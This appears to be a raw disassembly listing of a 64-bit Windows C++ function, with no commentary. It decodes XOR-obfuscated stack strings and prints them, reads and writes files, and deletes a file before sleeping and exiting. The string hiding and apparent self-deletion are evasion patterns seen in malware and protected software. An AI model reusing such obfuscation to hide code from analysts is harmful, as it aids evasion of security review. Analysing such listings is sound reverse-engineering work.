mov qword [rbp + 0x18], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1230], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1238], rax
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x1230]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x670]
call fcn.140066e90
lea rcx, [rbp + 0x670]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1220], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1228], rax
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0x1220]
movdqa xmmword [rbp + 0x30], xmm0
lea rdx, [rbp + 0x30]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x750]
call fcn.140066e90
lea rcx, [rbp + 0x750]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x9a3ef42998fdd65b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs r12, 0x740b97a0486b8068
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xa2efb31fe5efbacd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rdx, 0xdfb7d7fba4e4ae32
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xfe579848ee939f7b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x10c8], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10d0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x10d8], rax
vmovdqu ymm0, ymmword [rbp + 0x10c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x1e0], ymm1
lea rdx, [rbp + 0x1e0]
vzeroupper
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x730]
call fcn.140066e90
lea rcx, [rbp + 0x730]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1050], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1058], rax
movabs rbx, 0xfe579848ee939f7b
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1210], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1218], rax
movdqa xmm0, xmmword [rbp + 0x1050]
pxor xmm0, xmmword [rbp + 0x1210]
movdqa xmmword [rbp + 0x1050], xmm0
lea rdx, [rbp + 0x1050]
call fcn.140001c20
mov edx, 9
lea rcx, [rbp + 0x770]
call fcn.140066e90
lea rcx, [rbp + 0x770]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1060], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1068], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1480], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1488], rax
movdqa xmm0, xmmword [rbp + 0x1060]
pxor xmm0, xmmword [rbp + 0x1480]
movdqa xmmword [rbp + 0x1060], xmm0
lea rdx, [rbp + 0x1060]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x790]
call fcn.140066e90
lea rcx, [rbp + 0x790]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1040], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1048], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1380], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1388], rax
movdqa xmm0, xmmword [rbp + 0x1040]
pxor xmm0, xmmword [rbp + 0x1380]
movdqa xmmword [rbp + 0x1040], xmm0
lea rdx, [rbp + 0x1040]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x240]
call fcn.140066e90
lea rcx, [rbp + 0x240]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x8c22f731cef5d65b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1000], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1008], rax
movabs rax, 0x829cc74df5f2b4cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1010], rax
movabs rax, 0xbe97b288c581c242
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1018], rax
movabs rax, 0xcf9a9723663c8f8c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1020], rax
movabs rax, 0xde62763b4ea2249b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1028], rax
movabs rax, 0x7a81a6226e4ad145
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1030], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1038], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1080], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1088], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1090], rax
movabs rax, 0xdfb7d7fba4e4ae32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1098], rax
movabs rax, 0x87bae54c001ce4ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10a0], rax
movabs rax, 0xbb1113496ee66dcc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10a8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x10b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10b8], rax
vmovdqu ymm0, ymmword [rbp + 0x1080]
vpxor ymm1, ymm0, ymmword [rbp + 0x1000]
vmovdqa ymmword [rbp + 0x1000], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1020]
vpxor ymm1, ymm0, ymmword [rbp + 0x10a0]
vmovdqa ymmword [rbp + 0x1020], ymm1
lea rdx, [rbp + 0x1000]
vzeroupper
call fcn.140001c20
lea rcx, [rbp + 0xd68]
call fcn.140022dd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0xb10]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0xd68]
cmp qword [rbp + 0xd80], 0x10
cmovae rdx, qword [rbp + 0xd68]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rcx, [rbp + 0xb10]
call fcn.140004590
mov rax, qword [rbp + 0xb10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb10], rax
mov rax, qword [rbp + 0xb10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xb0c], edx
mov rax, qword [rbp + 0xb10]
movsxd rcx, dword [rax + 4]
cmp dword [rbp + rcx + 0xb20], 0
je 0x140092bb7
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xde0]
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0xde0]
call fcn.140004af0
nop
lea rdx, [rbp + 0xd68]
cmp qword [rbp + 0xd80], 0x10
cmovae rdx, qword [rbp + 0xd68]
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0xde8]
call fcn.1400723f0
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0xde0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xde0]
je 0x140092b3f
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140092b4d
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rbp + 0xd88]
cmp qword [rbp + 0xda0], 0x10
cmovae rdx, qword [rbp + 0xd88]
mov r8, qword [rbp + 0xd98]
lea rcx, [rbp + 0xde0]
call fcn.140002db0
lea rcx, [rbp + 0xde8]
call fcn.140066da0
test rax, rax
jne 0x140092bab
mov rax, qword [rbp + 0xde0]
movsxd rdx, dword [rax + 4]
lea rcx, [rbp + 0xde0]
add rcx, rdx
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xde0]
call fcn.140007180
lea rcx, [0x140293b90]
call fcn.1400ab570
cmp byte [0x140293da0], 0
jne 0x140093165
mov edx, 7
lea rcx, [rbp + 0x7d0]
call fcn.140066e90
lea rcx, [rbp + 0x7d0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x11e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x11e8], rax
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x11e0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rdx, [rbp + 0xb0]
call fcn.140001c20
mov edx, 9
lea rcx, [rbp + 0x7f0]
call fcn.140066e90
lea rcx, [rbp + 0x7f0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x11d0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x11d8], rax
movdqa xmm0, xmmword [rbp + 0x110]
pxor xmm0, xmmword [rbp + 0x11d0]
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, [rbp + 0x110]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x810]
call fcn.140066e90
lea rcx, [rbp + 0x810]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x11a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x11a8], rax
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp + 0x11a0]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x830]
call fcn.140066e90
lea rcx, [rbp + 0x830]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x8836f0689bfcc65b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs rax, 0x735897a04e60cc2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0xd69cda52f7e9b081
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
movabs rax, 0xffdab889c2c4ca57
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movabs rax, 0xfece8c3e757f81ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0xc974752601963eec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0x1fefc74f1c2f8011
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0x663f2706be7f3a48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x13a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x13a8], rax
movabs rdi, 0xa2efb33e9c8ad1ed
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x13b0], rax
movabs rbx, 0xdfb7d7fba4e4ae32
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x13b8], rax
movabs rax, 0x87bae54c001ce4ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13c0], rax
movabs r15, 0xbb1113496ee66dcc
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x13c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x13d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x13d8], rax
vmovdqu ymm0, ymmword [rbp + 0x340]
vpxor ymm1, ymm0, ymmword [rbp + 0x13a0]
vmovdqa ymmword [rbp + 0x340], ymm1
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x13c0]
vmovdqa ymmword [rbp + 0x360], ymm1
lea rdx, [rbp + 0x340]
vzeroupper
call fcn.140001c20
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0xc20]
call fcn.1400152d0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0xd40]
lea rcx, [rbp + 0xc20]
call fcn.140004540
nop
mov rax, qword [rbp + 0xc20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xc20]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
test al, al
jne 0x140093151
mov edx, 0x108
lea rcx, [rbp + 0xef0]
call fcn.1400152d0
mov edx, 1
lea rcx, [rbp + 0xef0]
call fcn.140004af0
nop
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0xd40]
lea rcx, [rbp + 0xef0]
call fcn.140072530
movabs rax, 0x8c38fb2dbcbdf21e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1000], rax
movabs rax, 0x6231d7937f66892c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1008], rax
movabs rax, 0xc79bdd51dfdc85a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1010], rax
movabs rax, 0xbac3a482f7c4da5c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1018], rax
movabs rax, 0xe3c88a2f654eca92
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1020], rax
movabs rax, 0xf3625a6738b209a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1028], rax
movabs rax, 0xeefc3560025b375
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1030], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1038], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1080], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1088], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1090], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1098], rax
movabs rax, 0x87bae54c001ce4ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10a0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10a8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x10b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10b8], rax
vmovdqu ymm0, ymmword [rbp + 0x1000]
vpxor ymm1, ymm0, ymmword [rbp + 0x1080]
vmovdqa ymmword [rbp + 0x1000], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1020]
vpxor ymm1, ymm0, ymmword [rbp + 0x10a0]
vmovdqa ymmword [rbp + 0x1020], ymm1
lea rdx, [rbp + 0x1000]
lea rcx, [rbp + 0xef0]
vzeroupper
call fcn.140001c20
lea rcx, [rbp + 0xef0]
call fcn.140066e50
nop
lea rcx, [rbp + 0xef0]
call fcn.140007180
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.14000d710
call fcn.14000b6a0
call fcn.140016000
call fcn.14007c860
nop
lea rcx, [rbp + 0xb10]
call fcn.140007110
nop
lea rcx, [rbp + 0xda8]
call fcn.140006090
nop
lea rcx, [rbp + 0x8f0]
call fcn.140007110
nop
lea rcx, [rbp + 0xd68]
call fcn.140006090
nop
lea rcx, [rbp + 0xa00]
call fcn.140007110
nop
lea rcx, [rbp + 0xd40]
call fcn.140006090
nop
lea rcx, [rbp + 0xd88]
call fcn.140006090
xor eax, eax
mov rcx, qword [rbp + 0x1720]
xor rcx, rsp
call fcn.140106b10
lea r11, [rsp + 0x1780]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rbp + 0x58], r12d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp + 0x68], r12d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, eax
call sub.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, eax
call sub.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, eax
call sub.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_
nop
call fcn.140015250
nop
mov dword [rbp + 0x48], r12d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3